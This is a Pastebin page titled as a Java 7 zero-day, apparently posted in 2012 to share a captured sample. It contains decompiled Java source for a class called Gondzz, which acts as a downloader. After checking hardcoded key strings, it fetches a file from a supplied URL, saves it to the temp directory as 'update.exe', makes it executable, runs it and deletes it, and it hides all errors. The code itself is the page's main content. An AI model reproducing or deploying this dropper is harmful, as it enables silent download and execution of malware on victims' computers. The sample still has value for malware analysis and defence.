Advertisement
eromang

Java 7 0day Gondzz.class

Aug 27th, 2012
1,361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.36 KB | None | 0 0
  1. package cve2012xxxx;
  2.  
  3. import java.io.BufferedInputStream;
  4. import java.io.File;
  5. import java.io.FileOutputStream;
  6. import java.io.InputStream;
  7. import java.net.URL;
  8. import java.net.URLConnection;
  9.  
  10. public class Gondzz
  11. {
  12.   public static Object xrun(String xiaomaolv, String bn, String si, Integer bs)
  13.     throws Exception
  14.   {
  15.     if ((xiaomaolv == null) && (bn == null)) {
  16.       return null;
  17.     }
  18.  
  19.     try
  20.     {
  21.       String k1 = "woyouyizhixiaomaol";
  22.       String k2 = "conglaiyebuqi";
  23.       String str1 = System.getProperty("os.name");
  24.       if ((bn.indexOf(k1) == 0) && (si.indexOf(k2) == 0) && (bs.intValue() == 748))
  25.       {
  26.         Object localObject1 = System.getProperty("java.io.tmpdir") + File.separator + "update.exe";
  27.         downFile((String)localObject1, xiaomaolv);
  28.  
  29.         if (str1.indexOf("Windows") < 0)
  30.         {
  31.           exec("chmod 755 " + (String)localObject1);
  32.         }
  33.         exec((String)localObject1);
  34.         new File((String)localObject1).delete();
  35.       }
  36.     }
  37.     catch (Exception localException)
  38.     {
  39.     }
  40.  
  41.     return null;
  42.   }
  43.  
  44.   public static Process exec(String paramString)
  45.   {
  46.     Process localProcess = null;
  47.     try
  48.     {
  49.       localProcess = Runtime.getRuntime().exec(paramString);
  50.       if (localProcess == null);
  51.       localProcess.waitFor();
  52.     }
  53.     catch (Exception localException) {
  54.     }
  55.     return localProcess;
  56.   }
  57.  
  58.   public static void downFile(String paramString1, String paramString2)
  59.   {
  60.     try
  61.     {
  62.       FileOutputStream localFileOutputStream = new FileOutputStream(paramString1);
  63.       URL localURL = new URL(paramString2);
  64.       String connayi = "xx";
  65.       URLConnection localURLConnection = localURL.openConnection();
  66.       int i = localURLConnection.getContentLength();
  67.       InputStream localInputStream = localURLConnection.getInputStream();
  68.       BufferedInputStream localBufferedInputStream = new BufferedInputStream(localInputStream);
  69.       byte[] arrayOfByte = new byte[i];
  70.       int j = 0;
  71.       int k = 0;
  72.       while (k < i) {
  73.         j = localBufferedInputStream.read(arrayOfByte, k, arrayOfByte.length - k);
  74.         if (j == -1)
  75.           break;
  76.         k += j;
  77.       }
  78.       localBufferedInputStream.close();
  79.       localFileOutputStream.write(arrayOfByte);
  80.       localFileOutputStream.close();
  81.     }
  82.     catch (Exception localException)
  83.     {
  84.     }
  85.   }
  86. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement